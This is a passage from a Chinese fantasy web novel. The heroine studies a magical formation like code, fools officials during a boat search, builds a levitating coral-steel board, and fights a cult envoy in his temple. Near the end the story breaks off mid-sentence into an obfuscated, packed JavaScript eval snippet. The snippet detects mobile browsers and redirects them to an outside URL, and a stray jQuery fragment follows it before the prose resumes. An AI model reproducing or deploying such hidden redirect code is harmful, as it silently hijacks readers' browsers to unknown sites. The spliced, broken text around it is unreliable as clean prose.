她忘记了自己被关在这里的愤怒,忘记了与林疏星的争吵,甚至忘记了江阳镇那些孩子的命运。此刻她的世界里,只有这个阵法,只有这些能量线,只有那无穷无尽的、等待解开的奥秘。
在第二十七次尝试时,她终于找到了正确的频率。
指尖灵力脉冲与阵法能量节点产生微弱的共振,那一瞬间,她“看”到了阵法内部更细致的结构——那是层层嵌套的符文逻辑,像一段无比复杂的代码。
“原来如此……”祝君竹喃喃道。
她从现世带来的科学思维和编程逻辑让她早就知道,阵法、符咒、法术,本质上都是对能量的“编程”。不同的符文组合,就是不同的“代码”,阵法的运转,就是“程序”的执行。
她开始“学习”这个阵法。就像程序员研究一段优秀代码,她要理解它的设计思路,掌握它的实现原理。
晨光彻底照亮江面时,祝君竹对这个“小须弥困灵阵”的理解已经达到相当深入的程度。虽然还无法破解——林疏星的布阵水平确实高超——但她已经能清晰地感知到它的能量流动规律,甚至能预测出下一个能量薄弱点出现的时间和位置。
“若是在玉京山,这小阵法绝对困不住我。”祝君竹叹道,可惜没有玉京山这个庞大的“电脑系统”帮助,她自己还是不行。
“这上古秘法,江浅月是怎么在玉京山以外使用的呢?”她很疑惑。
她不再研究阵法,转而开始探究这上古秘法本身。
意识再次彻底沉入能量层面。
这一次,她将感知扩展到整个青蛟号,扩展到江面,扩展到更远的天地。
她“看”到,天地间充盈着磅礴的能量,像一片无边无际的海洋。修行者吸收这些能量,炼化为己用,就像从海洋中取水。
但绝大多数修行者只是“取水”,却不理解“水”的本质。而她却不同。她理解这能量的本质,理解它运行的规则。
灵力是什么?是一种精纯的能量。在现代物理学中,能量是做功的能力,是物质运动的表现形式。
那么在这个世界呢?应该也一样,她已经感受到灵力不是虚无缥缈的,它有频率,有波形,有振动模式。不同属性的灵力,频率不同。
不同境界的修行者,能调动的频率范围不同。
就像无线电波,不同的频率承载不同的信息。
那么,如果能精确控制灵力的频率呢?
如果能像调制无线电信号一样,调制灵力呢?
祝君竹脑海中灵光一闪。
她伸出手,掌心向上。不是简单地凝聚灵力,而是尝试着“调制”——让灵力以特定的频率振动。
第一次尝试,掌心亮起一团普通的光球。
第二次,光球的亮度开始变化,明暗交替。
第三次,光球的颜色开始变化,从白到蓝,再到红。
第四次,光球不仅仅发光,开始散发出微弱的热量。
第五次,祝君竹尝试更复杂的事:让光球悬浮。
不是用法力托举,而是尝试修改光球周围局部的“规则”——暂时减弱那个小范围的重力影响。
这很难。她需要同时控制灵力的频率、强度、波形,还要维持对局部规则的微弱干涉。
额头渗出细密的汗珠,灵力在飞速消耗。
但光球缓缓升起,离掌心一寸,两寸,三寸……
悬浮在半空,稳定地发光,发热。
祝君竹眼中闪过难以抑制的激动。
她做到了!虽然只是让一个光球悬浮,范围极小,持续时间也很短,但这意味着她的思路是正确的!这种秘法,真的能让她触及“规则”的层面!
她想起了玉京山那些残断的石刻。那上面记载的,会不会就是这种能力的完整体系?那种能“言出法随,凭空造物”的终极境界?
虽然现在还差得远,但她已经看到了方向。
辰时,青蛟号准时启航,离开江阳镇码头,继续逆流而上。
舱房内,祝君竹依旧在修炼。阵法屏障依旧牢固,但她的心境已经完全不同。
愤怒没有消失,但被更深的东西压下了——那是一种对力量的渴望,一种“下次绝不再受制于人”的决心。
林疏星推开舱门进来时,看到的就是这样的祝君竹。
她盘膝坐在蒲团上,周身笼罩着淡淡的微光,那光芒不是普通的灵力辉光,而是某种更精微、更玄妙的东西。她闭着眼睛,神色平静,但眉宇间有种说不出的锐气,像一把正在淬火的剑。
阵法屏障在林疏星进入的瞬间自动解除。
祝君竹睁开眼睛。
四目相对。
空气凝固了。
林疏星看到祝君竹眼中的平静——那不是原谅的平静,而是某种更深沉、更冰冷的东西。像深潭的水,表面无波,底下却是刺骨的寒。
“阵法到时间了。”他先开口,声音平静。
“嗯。”祝君竹淡淡的应了一声,站起身,活动了一下因为久坐而僵硬的身体。
林疏星继续说,“你若出舱走走……”
“不用了。”祝君竹打断他,声音同样平静,“我继续修炼。”
她说完,重新盘膝坐下,闭上眼睛,竟是直接进入修炼状态,将林疏星晾在一边。
清音端着午饭进来,看到这一幕,吓得不敢出声。
林疏星站在门口,看着祝君竹平静的侧脸,嘴唇动了动,最终什么都没说,转身离开。
舱门关上。
祝君竹睁开眼睛,看了一眼紧闭的门,又缓缓闭上。
有些裂痕,一旦产生,就再也无法弥合。
而她现在要做的,不是修补裂痕,而是让自己强大到不需要在意这些裂痕。
修炼继续。
窗外的江平镇渐渐远去,青蛟号再次启航,驶向北方,驶向那座汇聚了所有恩怨情仇的巍巍天都。
而船上的两个人,明明近在咫尺,却仿佛隔着一道无形的天堑。
这道天堑的名字,叫做“选择”。
17. 第十六回 重返江阳诛邪使
青蛟号离了江阳镇码头,逆水而上。
天色已亮透,江面晨雾被船头劈开,碎成一缕一缕,顺着船舷向后滑去。两岸的山影与林色渐渐更替,离江阳那片低矮的镇子远了,河道却变窄了些,水声贴着船腹翻卷,听久了,像有人在暗处反复揉搓一块湿布。
三楼玄字房里,清音把热粥端上来,放在矮几上,轻手轻脚。
祝君竹还在蒲团上盘膝。她睁着眼,却不看粥,只看窗缝外那一线水光。昨夜的痛、怒、寒,像被她折进了一本不再翻开的册子里。她脸色比平时更白一点,眼底却亮得惊人——那亮不是柔和的,是冷的,是硬的。
清音捧着碗,想说又不敢说。她嘴唇抿了半晌,终于小声道:“小姐……你吃一点吧。早上不吃,灵力也跟不上。”
祝君竹“嗯”了一声,伸手去端碗。她指尖触到瓷沿的一瞬,像是忽然想起什么似的,动作停了一停。
清音眼尖:“怎么了?”
祝君竹把碗端稳,语气仍淡:“没什么。”
她喝了一口,温热的粥顺着喉咙下去,胸口那股堵着的钝闷似乎也被挤开了一点点。可那只是生理上的松动,心里那道坎,仍横在那儿。
舱门外传来脚步声,沉、稳,不急不缓。
林疏星推门进来时,屋里烛火早已换成了白日的光。他换了一身干净的布衣,袖口束得利落,眼神却比昨夜更沉。祝君竹没有抬头。
清音下意识站起来:“公子。”
林疏星点了点头,目光在祝君竹身上停了一瞬,又移开,像怕那目光本身会碰碎什么。他把手里一卷薄薄的纸搁在桌上。
“刚才金老板派人送来的。”他道。
祝君竹这才抬眼,视线落到纸卷上。纸卷边缘沾着些潮气,像是刚从甲板上匆匆递进来的。
她没动。
清音咽了口唾沫,伸手把纸卷展开。上头是草草写就的几行字,墨迹未干:
——“前方江平水域有官船巡缉,见船便拦,查得极细。说是奉命缉拿要犯。诸位最好早作准备。”——
清音读完道:“官船?缉拿要犯?是不是……是不是我们……”
林疏星抬手,示意她别慌,声音压得低:“未必是冲我们来的,但概率不小。”
祝君竹把粥碗放回矮几上,问得很直接:“他们掌握多少?”
林疏星没立刻答。过了半息,他才道:“昨夜江阳闹得那样大,周文远在众目睽睽之下被带走。真灵教和地方官场那条线,必然会先把‘不安定的人’拎出来。船上生面孔多,青蛟号又是昨夜停过江阳的……拦检顺理成章。”
祝君竹的眼神一点点收紧:“你觉得他们知道我们是三个人?”
林疏星看着她,沉吟了一下,说了句:“不清楚……昨天的事情,定然已经报上去了。上头也许有人想查,但也有人不想查。两边的人都可能有行动。谁先找到我们,谁就占便宜。”
他把纸卷卷起,指尖轻轻敲了敲桌面:“所以我们要做两手准备。”
清音有些急:“那怎么办?我们……我们还走得了吗?”
林疏星没看清音,目光落在祝君竹脸上:“我先去找敖清澜。”
祝君竹眸光微动。
从江阳离开后,敖清澜一直未露面。他的存在像一层薄雾,平时不显,可一旦风浪起,那层雾就成了挡风的屏。
林疏星转身要走,祝君竹忽然开口:“等等。”
他停住转回身来。
祝君竹看着他,语气平平:“你去找他,是要他出面?”
林疏星没有回避:“敖清澜是个蛟人,身份更适合在官面上说话。他若愿意,以‘同行客商’的名义压一压场面,会省很多力。”
祝君竹点点头:“嗯。”
她说完就低头,又端起粥碗,仿佛方才那句“等等”只是为了确认一个事实,而不是为了留他。
林疏星站了片刻,像想说什么,终究还是把那句话吞回去,推门出去了。
清音盯着他的背影,眼眶发热,声音更小了:“小姐,你别这样……”
祝君竹没答,只把最后一口粥喝完,碗沿轻轻碰在桌面上,发出一声极轻的碰撞声。
“清音。”她打断清音的话。
清音立刻应道:“在!”
“把我们对外的口径再过一遍。”祝君竹说,“以后不管在哪,都按着这个说。你口无遮拦的,别说漏了。”
清音抹了抹眼角,努力把声音稳住:“嗯……嗯。外人面前,你是……你是‘林竹’……我是‘小音’,公子是……是‘兄长’。敖……敖先生就是敖敖先生……我记住了”
祝君竹看着她那副拼命记的样子,眼神稍微软了一点点,又很快收回去:“还有,若有人问昨夜江阳的事,你只说我们早早睡了,不知外头闹什么,别多说一句。”
船身忽然一震,像被什么浪头顶了一下。随后,甲板上隐约传来人声,杂乱、急促,还有几声金鳞压低的呵斥。
清音脸色一白:“这就来了?”
祝君竹起身,走到舷窗前。窗外雾已散了些,江面开阔处停着两艘小官船,船头插着黑底白纹的旗。旗面被江风扯得猎猎作响。
官船靠得很近,像两只贴着水面游来的鳄鱼。
甲板上传来重重的脚步声,随后是陌生男人的嗓音,带着官腔,偏又夹着江湖人的粗硬:“都站出来!挨个查!谁敢躲着不出来的——按钦犯论罪!”
金鳞的声音赔着笑,却绷着:“官爷,咱这青蛟号是正经买卖船,通关文牒、□□都齐全……您这——”
“少废话!”那官腔男人打断,“奉命缉拿要犯,江面来往船只一律盘查。把人都叫出来,带上路引、身份文书!”
祝君竹听到“要犯”二字,指尖不自觉绷紧。她回头看清音:“你在屋里,别慌。待会儿若有人进来,你只做个怕事的丫头就好。”
清音拼命点头:“小姐你呢?”
祝君竹把面巾塞进袖里,抬手把鬓边碎发稍稍拢好,动作慢,却稳:“我出去。”
她推门出去时,甲板上的风比屋里冷得多。官船上的人已踏上青蛟号,十来个,穿着官差的黑衣,腰间配刀,脚下却不似正经衙门那种“走路只求稳”的步子——他们走得太轻太利,像随时能拔刀跃起。
她在人群里看见林疏星。他站在离舱门不远处,衣袖垂着,神色淡。旁边站着敖清澜。
敖清澜仍是那副温温和和的模样,仿佛只是清晨出来透气。他甚至还笑了一下,对着过来的祝君竹点头:“林姑娘早。”
他叫得不生硬,刚好够——像同行里彼此认得,却又不必太亲近的那种。
祝君竹也点头:“敖兄早。”
那“官差头儿”站在船中央,手里拎着一本册子,身后跟着两个拿笔的。他目光扫过甲板上的人,像在挑拣货物。
“都站一排!”他喝。
乘客们纷纷照做。有人抱着包袱,有人抓着小孩,脸上写满惶恐。金鳞把通关文牒递过去,被随手一翻,像扔一块抹布似的扔回去。
那头儿抬起下巴:“昨天在江阳镇停靠过?”
金鳞连连点头:“是是是,停了一会儿,补些水米就走……”
“昨天,镇上出了命案,你们船上可有人下去?”那头儿问。
金鳞忙道:“没有没有,官爷,咱这船晚上都锁舱门的,谁敢乱跑?”
那头儿的目光落到乘客身上:“挨个问。路引。”
有人颤着手递上。那头儿翻两眼就扔给身后,嘴里哼一声:“下一个。”
轮到祝君竹时,那头儿盯着她看了好一会儿。祝君竹把“林竹”的那份假路引递出去,动作不快不慢。她不去盯对方的眼,也不躲闪,只把视线落在对方肩头的位置——既不挑衅,也不示弱。
那头儿把路引翻开,忽然问:“你们一行几人?”
祝君竹心里一紧,却不露出来,只答:“四人。”
那头儿眼神一动:“四人?哪四个?”
祝君竹抬手指了指林疏星,又指清音所在的舱门方向:“我兄长,我,一个小丫头,还有这位敖先生。同行做点小买卖,北上寻货路。”
那头儿把路引啪地合上,目光转向林疏星:“你是兄长?”
林疏星上前半步,拱手,语气温吞:“是。舍妹不懂事,见官爷盘查,心里发慌,若有失礼,还请担待。”
那头儿盯着他手指看了一眼,又盯他鞋底看了一眼。片刻后,他忽然笑了笑,笑意不达眼底:“舍妹?你们长得不像。”
林疏星也笑,笑得比对方更浅:“堂妹,她父母早亡,养在我家里的。”
那头儿“哦”了一声,仍不放过,眼神一转看向敖清澜:“那你呢?跟他们什么关系?”
敖清澜把袖子一拢,语气不紧不慢:“旧识。前些日子碰巧同路,便结伴走一段。”
那头儿拿起册子,慢慢翻:“旧识?……叫什么?”
“敖清澜。”敖清澜答得干脆。
那头儿看了他身上的鳞片与头上的角,眼里闪过一丝犹疑。
祝君竹心里一跳:这帮人若真是两监的势力,那“敖”这个姓说不定会触到某些暗线。但敖清澜神色太稳,他那稳里带着一点点不在乎,反倒真像是个蛟人的行商。
那头儿不甘心,忽然把册子往身后那个记笔的怀里一塞,抬手一挥:“搜舱!一间一间搜!凡是藏头露尾的,直接绑了!”
乘客里有人尖叫。金鳞脸色发青:“官爷,搜舱可以,可这……这得有个章程,不能乱翻客人的私物啊!”
“章程?”那头儿嗤笑,“你跟我讲章程?我讲的是命令。搜!”
两个“官差”冲上楼,脚步快得像猫。祝君竹余光扫到他们手腕处的皮肤,隐约有一圈暗纹,像常年缠护腕留下的痕。
林疏星侧身,恰好挡住祝君竹半步,声音极低:“沉住气,让他们搜。”
祝君竹她呼吸很稳,没看他,但心口跳得比平时快。
她知道,真正危险的不是搜舱,而是他们“搜到想要的东西”。
楼上很快传来翻箱倒柜的声音。
“这是什么?”
“绣线。”
“这是什么?”
“药材。”
“这边——有阵旗!”
祝君竹的指尖猛地一紧。
下一瞬,林疏星的声音从楼上传下来,平稳得像一块压住浪头的石:“那是我随身带的‘驱虫旗’,江上蚊蝇多,点了容易睡。官爷若不信,可取一面看,都是寻常符墨。”
那头儿仰头喊:“拿下来!”
楼上有人应声,脚步蹬蹬下楼,手里拎着一面杏黄旗。那旗确实是林疏星昨夜用过的那类,只是符纹被他改得很浅,看上去像普通民间符旗。
那头儿接过,手指在旗面上摸了摸,忽然皱眉:“你会阵法?”
林疏星在楼梯口站着,语气带点自嘲:“在外头跑买卖,不会点旁门左道,夜里被水匪摸上船就只能等死。画些小阵,唬唬人罢了。”
那头儿眼底阴意更深。他把旗往甲板上一扔,踩了一脚:“继续搜!”
祝君竹听见楼上传来清音压抑的惊呼。
敖清澜侧头,看了祝君竹一眼,那眼神很轻,像一阵风掠过水面,不留波纹,却把“别乱”两个字传得明明白白。
楼上翻找声又持续了好一会儿,才渐渐停下。
两个“官差”拎着些零碎下来,扔到那头儿面前——都是寻常物件:衣物、药包、干粮、零食。没有血书,没有官印,没有能证明身份的东西。
那头儿脸色难看。他不死心,又在甲板上转了一圈,目光像钩子一样挨个刮过每个人的脸。
他忽然停在清音舱门前,抬手要推门。
门却先一步开了。
清音怯生生地探出头,眼睛红红的,像被吓哭过。她抱着一只小包袱,声音细得发抖:“官、官爷……我、我能不能不让你们进来翻了?我……我一个女孩子……”
那头儿盯着她:“你是谁?”
清音嘴唇哆嗦:“小音……跟着我家小姐和……和少爷出来做事的。”
“少爷?”那头儿眯眼,“你家少爷是谁?”
清音赶紧指林疏星:“就、就是那位。”
那头儿忽然笑,笑得让人发冷:“你叫他少爷,叫她小姐,倒叫得亲。可我怎么听说,昨夜江阳镇上闹事的,是‘两女一男’?”
祝君竹心脏骤然一沉。
“两女一男。昨天大闹圣殿的分明是一女一男,看来这些官兵真的可能是玄影监和玄心监来找江浅月的!”
官差头儿那句话说得太随意了,像是随口一提,又像是故意丢出来的一根钩子。可越是这种看似漫不经心的“听说”,越危险。
玄影监和玄心监真正盯着的,怕从来不是江阳镇这点鸡毛蒜皮的邪教命案。
他们要找的,是从玉京山逃出来的那一行人,那两女一男。
而现在站在他们面前的,是“两男两女”。
祝君竹没有抬头,也没有露出任何多余的反应。她只是顺着官差头儿的视线,自然地朝清音所在的舱门方向看了一眼,又收回目光。
甲板上的空气绷得极紧,连江风吹过帆绳的声音都显得格外刺耳。
那官差头儿眯着眼睛,目光在四人之间来回扫了一圈,视线在敖清澜身上停留的时间明显更长了一些。蛟人的鳞片在晨光下泛着淡淡的光泽,角也没有刻意遮掩——这本就是一个无法忽视的存在。
“两男两女……”官差头儿低声重复了一遍,像是在咀嚼这个组合。
他显然很清楚,两监给出的画像和描述,不是这个数。但以他多年的办案经验来看,总觉得这几个人似乎“有古怪”。
若是强行抓人,事后一旦对不上,反倒落人口实。上头的人还在相互攻讦,若是真抓错了,岂不让人耻笑?
“哼。”官差头儿冷笑了一声,把目光重新落回祝君竹身上,“那昨天江阳镇闹成那样,你们当真一个都没下船?”
祝君竹抬眼。
那官差头儿在她的眼神里看到了一丝被惊吓后的迟疑,又刻意压着一丝不安,声音却不颤:“官爷,昨夜风大浪急,船一靠岸就锁了舱门。我们是跑买卖的,不是找麻烦的,哪敢乱走?”
她说完,微微抿唇,像是忽然意识到自己话多了,又立刻低下头。
官差头儿盯着她看了几息,忽然转头看向金鳞:“你说。”
金鳞被点名,背脊一僵,连忙哈腰:“是是是,官爷,小的敢用脑袋担保!昨夜小的亲自锁的舱门,谁也没放下去!”
官差头儿冷哼一声,没有再追问。
他转身在甲板上走了两步,靴底踏在木板上,发出“咚、咚”的闷响,像是在给所有人施压。
“搜过了,人也对不上。但这不代表你们就干净。”
他停下脚步,回头,目光阴沉:“青蛟号,今日在江平水域临停。没有我的命令,不准启航。”
金鳞脸色一白,正要开口,却被官差头儿一个眼神压了回去。
“若是让我发现你们半夜偷走——”
官差头儿冷笑,“那就不是搜舱这么简单了。”
话音落下,他一挥手,带着那一行人重新踏上官船。
直到对方离开,甲板上的乘客才敢喘气。
祝君竹缓缓吐出一口气,后背的衣衫已经被冷汗浸湿。
她没有立刻回舱。
她站在原地,看着江面上那两艘官船的影子,心里却在迅速推演。
他们显然在怀疑,但还不够确定。
她在林疏星那得知两监的人不和,所以在没有绝对把握之前,不会贸然动手。尤其是在人数不符的情况下。
可这种“临停监视”,本身就是一种拖延。
他们在等。
等江阳镇那边的消息彻底汇总,等昨夜的线索被重新梳理,等有没有人认出那张脸、那道身影。
祝君竹很清楚,时间,对他们极为不利。
她转身回舱。
舱门关上的一瞬,清音道:“小姐!刚才那句话……他们是不是在诈我们?”
祝君竹点头:“应该是。”
“那我们……我们现在怎么办?”
祝君竹没有立刻回答。
她走到窗边,掀开一线窗帘,看着远处那两点官船,目光沉静。
“他们不会立刻动。”她低声说,“至少在确认之前,不会。”
清音稍稍松了一口气,却又立刻紧张起来:“那确认之后呢?”
祝君竹没有回答这个问题。
林疏星推门进来,顺手布下一道隔音阵,阵纹亮起又迅速隐没。
“他们盯得很紧,这不是普通盘查,而是守着。”他说。
祝君竹转过身,看向两人:“所以,今晚必须有些变数。”
林疏星眉头微皱:“你想做什么?”
祝君竹没有正面回答,而是反问:“他们要找的是“两女一男。所以我推测,他们要找的并非昨天大闹江阳镇的人,而是从玉京山逃出来的人。他们不过怀疑大闹江阳的人就是江浅月罢了。”
林疏星立刻明白了她的意思,眼神一沉。
“而现在,我们是两男两女。”祝君竹继续道,“只要这个状态不变,他们就暂时无法下结论。不过,也只是暂时。但如果现在江阳镇再次出现异动呢?比如神使被杀?”
林疏星颇具深意的看了她一眼,嘴唇动了动,却又把话咽回去了。
祝君竹盯着他的嘴唇微微张合,似乎感觉被看穿,心中立刻涌起一丝挫败感。
沉默良久。清音看了看祝君竹又看了看林疏星,小声说道:“小姐的意思我明白,转移视线。”
祝君竹点了点头。
林疏星还是没出声。须臾,他站起来,说了一句:“我去找敖兄商量一下。”
说完便转身离去。
舱门合上那一刻,屋里反倒显得更空。隔音阵的灵纹在角落里淡淡一亮,随即隐没。江水拍船腹的声响贴得很近,翻卷着,一下一下,把人心里那点松动重新拍紧。
清音站在门边,手指攥着袖口,指节发白。她看向祝君竹,又很快移开,像怕多看一眼就惹出什么乱子。
祝君竹坐回蒲团上。
她没有立刻入定,目光顺着窗缝外那条水光走了一遍。雾浓,天压得低,官船的黑底白纹旗时隐时现,依然像是两只守株待兔的鳄鱼。
他们在守什么,祝君竹心里清楚。怕是在等她露出“江浅月”的影子。
祝君竹长吁了一口气,闭上眼。灵力沿着经脉缓缓流转,先稳住呼吸,稳住心口的跳,再一点点把白日盘查留下的寒意压下去。
她逼自己不去想林疏星。
不去想昨夜那一下钝痛。
不去想他说“成大事者需知取舍”时的那种冷。
她只想一件事——怎么回江阳,怎么杀神使。
神使不死,江阳百姓的祸事就永远不会完。神使不死,就会有更多的孩子被送入火坑。神使不死,这两艘官船就会一直守在这,不知会守多久。
祝君竹把心神沉下去,开始推演。若走水路,目标大,又慢,会被看见。若走岸路,怕是会更慢,更险,还要应付盘查。
她脑中很自然的忽然浮出一个词——飞。一则快,二则她一个人,目标小,容易潜藏,若能趁着夜色遁走,官船的“守”就失了半截意义。
可“飞”这件事,她自己最清楚。
让一个小光球悬空不过三寸,灵力就像被掏空一块。那还只是一个小光球,不承重,不带风,不要速度,不要转向。
她想起了玄幻小说中的御剑飞行,用灵力把剑托起来、推着走,再载着人?她的灵力定然撑不起那种“硬扛”。
她需要一种更“静”的飞法。一种不那么显眼、消耗更小、不靠灵力做“动力”的飞法。
祝君竹的眉心慢慢收紧。
她的思绪不自觉往另一个方向拐——不是修行者的法门,而是她从前熟悉的那套“原理”。升力、动力、控制。若不让灵力承担升力与动力,只让它承担控制呢?
她脑中一闪:磁悬浮。
她并不觉得这个词在须尘界会显得突兀。她想的是“道理”,不是名词。能让东西离地的,不止灵力的托举——天地之间本就有许多看不见的力。修行者能用灵力去撬动它们,但不一定要用灵力去替代它们。
她把感知往外放。去感受天地间更细密的“场”。
那一瞬,她的“视野”里,多出了一层线——无形,却有纹路。像一张压在天地上的网,绷得紧,微微震。她以前在玉京山就隐约感到过它,只是那时被阵法与山中雄浑的能量所遮蔽,她没来得及细看。
现在,江面雾沉,能量平稳,那张网反倒显得更清楚。可以确定,是磁场。
须尘界的磁场比她认知里的更强。不是“更大”,而是更“密”,更“活”,像有灵性。
若有一件东西,能在某种状态下对这张网产生强烈的排斥——不是被动的飘,而是稳定的托——那它就能悬起。
可什么东西能做到?
祝君竹的手指在膝上轻轻一扣,指尖微凉。
她忽然想起海滨蛟人聚集地。
那时她随敖清澜逛市集采买,单独买过几块上品的珊瑚钢。那东西沉,韧,内里带水性灵韵,蛟人炼器常用。她当时觉得“留着”有用,只是习惯性的“留着”。
现在,那句“留着”像被点亮了一般。珊瑚钢含铁,能受磁;又有灵韵,能受阵纹;若能在其内刻出一种“灵磁共鸣”的内部纹路,使它进入一种类“超导”的状态,排斥磁线——就有可能悬浮。
她猛地睁开眼,站起身来。
清音一惊:“小姐?”
祝君竹不看她,只道:“清音去看着门,有动静告诉我。”
清音茫然跑到门边,贴着门板,耳朵竖得极高。看着祝君竹的表情,她没问“要做什么”。
祝君竹把芥子袋放在腿边,指尖探进去,摸出那几块珊瑚钢。
金属入手,带着海盐般的冷意。她一块块挑,最后挑出一块扁平的:长近两尺,宽一尺多,厚不过两指。边缘虽不齐,却正好能让双脚踩稳。
她把它放在桌上,拿出林疏星赠与她的刻刀。指尖将灵力凝成细线,像一支极细的笔,落在珊瑚钢表面。
第一刀下去,金属内部微微发热。灵力像钻进一层层纤密的纹理里,沿着她想要的路径开出一道微不可见的槽。
她刻得极慢。
每一笔落下,她都停半息,用神魂去“看”这条纹路是否顺畅——像在对一段极复杂的阵法做最细的推演。
时间一点点过去。
清音听着外头的脚步声来来去去,听着官船那边偶有喝令,心里发紧。她回头看祝君竹,只见祝君竹额角微湿,唇色更白,眼神却亮得惊人——那亮不是柔,是冷,是专注到近乎无情的光。
清音忽然想起小姐以前在府里夜读时的样子。那时她也这么亮,只有看书、研究秘法、解开一个难题的时候才会这样。只是如今,小姐看的不是书,是一块铁。
天色渐暗,乌云更厚。
珊瑚钢上的内部灵纹终于一圈圈闭合。最后一笔落下时,纹路里有极淡的光一闪即逝,像水面掠过一尾银鱼。
祝君竹抬手擦汗,指尖仍微微颤着,是精细控制后的疲惫。
她把珊瑚钢推到舱房中央,站起身,深吸一口气。
“先试了再说。”她低声道。她微微抬手,灵力注入阵纹核心。
嗡——
一声很低的震鸣从金属里传出来,像深海的潮声。珊瑚钢表面纹理亮起淡淡的幽光,随即,那钢便离地一寸有余。
清音捂住嘴,眼睛瞬间睁大。
祝君竹的心跳也猛地一紧,但她没有动。她只盯着它,盯着它离地两寸,三寸——然后轻轻抖了一下,像要翻。
祝君竹指尖一抬,驱动灵力压住外圈导引纹。珊瑚钢抖了抖,稳住了。
它悬在离地三寸的位置,静静漂着。屋里安静得只剩呼吸声。祝君竹慢慢抬脚,踩了上去。
珊瑚钢微微下沉一寸,随即托住。她再把另一只脚踩上去,整个人站稳。那块金属板离地只剩一寸多,却没有落下,悬浮得很稳。
祝君竹的眼底那点冷硬终于裂开一线,露出一种她自己都很久没见过的兴奋,那是思路被验证后的那种快感。她的嘴唇微微动了动,像想笑,又忍住。
“再试试移动。”她边自言自语,边开始通过调节改变板子不同部位的“磁化强度”。
她让后缘略强、前缘略弱。
珊瑚钢前端微微压低,整块板子倾斜,下一瞬,向前滑出半尺。
很轻。像被风推。
祝君竹的呼吸骤然快了一瞬,眼睛更亮。她又调右侧,板子偏转;再调左侧,回正。她一点点加快,像在摸一匹野马的脾气——不急,不硬拉,只让它懂“你要往哪儿”。
很快,她能让它在屋里小范围绕开桌脚、绕开床沿,滑得又稳又静。
清音看得头皮发麻,又不敢出声,怕惊扰她。
终于,祝君竹停了下来。她跳下珊瑚钢,灵力一收,金属板轻轻落地,。
祝君竹站在原地,胸口起伏,眼神却平静下来——平静里压着更深的东西。
她可以走了。
她把珊瑚钢收进芥子袋,又取出一小片碎料,塞进鞋底内侧,让它与板子之间更“听话”。她换上夜行衣,蒙上面巾,系紧袖口。
清音忍不住拉住她衣角,声音发颤:“小姐……你真要去吗?公子说你虽然修为比那个神使高,但是不善近身搏杀,未必是他的对手啊!”
祝君竹低头看她。
她的目光依旧冷,却不再刺人。她抬手摸了摸清音的头,动作很轻:“放心,我很快会回来的。”
清音眼泪刷地掉下来,无奈的点头。
夜已深。乌云压月,江面雾浓。官船灯火在雾里晃着,像两点冷光,隔着水盯人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998682|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
祝君竹打开舷窗一线,冷风灌入,湿腥扑面。她把珊瑚钢放到窗外,灵力轻轻一点,板子无声悬起。她一步踏上去,身体微沉,随即稳住。
她让板子贴着船身外侧缓缓下滑,像一片黑影沿着船腹滑落,用巨大的船身,避开一切视线。
雾把她吞下去的那一瞬,她心里竟没有半点慌乱,却是出奇的冷静——这一次,她不再任别人替她决定。
她压低高度,让板子离水不过一尺。水汽扑在面巾上,冷得发粘。江风刮过耳侧,像刀。
她却越走越稳,她贴着雾走,避开灯火照得到的水面。珊瑚钢在水面上无声滑行,雾被切开又合上,不留痕迹。
祝君竹离去不久,一条蛟影悄声无息地没入了江水。
江阳镇的轮廓终于在雾里浮出。
低矮的屋脊,零星灯火。圣殿那片高墙更黑,更突兀,像一块压在镇子上的石。
祝君竹在岸边落地,收起珊瑚钢。她没有急着进圣殿,而是先伏在暗处听。
犬吠、梆子、巡更人的脚步声。
还有一种更细的声音——像低声诵念,又像某种咒。
她沿着阴影绕行,贴近圣殿外墙。墙角有符纹,微微发光,守护阵仍在。她不敢硬闯,只绕到更偏僻处。那里墙面潮湿,符纹黯淡,像是许久无人补墨的角落。
她贴墙,闭眼,将感知探入阵纹。能量线在她“眼里”纵横交织,按某个节奏循环。她暗喜与林疏星研究阵法的成果在此用上了,她不求破阵,只求借一瞬薄弱让她可以潜入。
半息,一息……数息,符纹光忽的微暗,就是这一瞬!
祝君竹指尖灵力轻轻一抖,以极细微的脉冲与那处节点共振。符纹像被轻轻掀起一角,出现一丝缝。
她身形一缩,像一滴水挤进去,滑入墙内。
圣殿内空气更冷,带着香火与某种血腥混杂的味。她屏住呼吸,贴柱前行,脚步轻得几乎没有声。
她在暗处潜了许久,终于,殿后廊道传来脚步声。是一人独行,步子不急不缓,带着一种掌控一切的从容。
祝君竹的眼神微微一紧。白袍,骨珠,袖摆拖地不沾尘。
神使。
他走到廊道拐角,昏灯把影子拉长,恰好遮住远处人的视线。
“出来吧!早知道你在那!”神使淡然说道。
祝君竹从阴影里现身。
“神使,我来取你狗命!”
声音低,却像刀刃贴石,冷得发涩。
神使竟笑了:“哦?就凭你?”
祝君竹不与他绕:“说!孩子在哪?”
神使轻轻转动骨珠,像在看一个不懂事的虫:“你说那些求仙缘的童子?他们自有他们的仙缘。”
祝君竹眼神一沉:“你别废话!孩子送去哪里?谁接应?路怎么走?”
神使叹气,像在怜悯:“那地方,不是你能去的。”
祝君竹看也问不出什么,夜长梦多,掌中灵力骤然激发,光芒如箭,直取他咽喉。
这突袭之下,神使竟袖袍一拂,灵光似撞上了无形壁障,碎成血色星火。
祝君竹心口一凛,这护体法门,邪得很。
神使笑意更深:“就凭这点本事,你也想来杀我?”
他话音落下,身影一晃,白影贴脸而来。
祝君竹只觉胸口一震,整个人倒飞出去,背撞廊柱,喉头腥甜。她强行咽下,借柱反弹落地,脚下却一麻——神使的阴寒之力已经顺着她的灵力缠上来,像冰针扎进经脉。
近战。
她最不擅长。
神使骨珠一甩,珠链如蛇抽来,破空声尖利。祝君竹侧身躲,珠链拐弯缠她手腕。她咬牙,灵力凝刃斩断一截,骨珠落地,哒哒作响。
神使眼神冷了一分:“胆子不小。”
祝君竹趁他分神,一掌拍出,灵力震荡轰向他胸口。神使不避,反掌相迎。两股力撞在一处,祝君竹只觉阴寒倒灌,胸口一闷,眼前发黑。
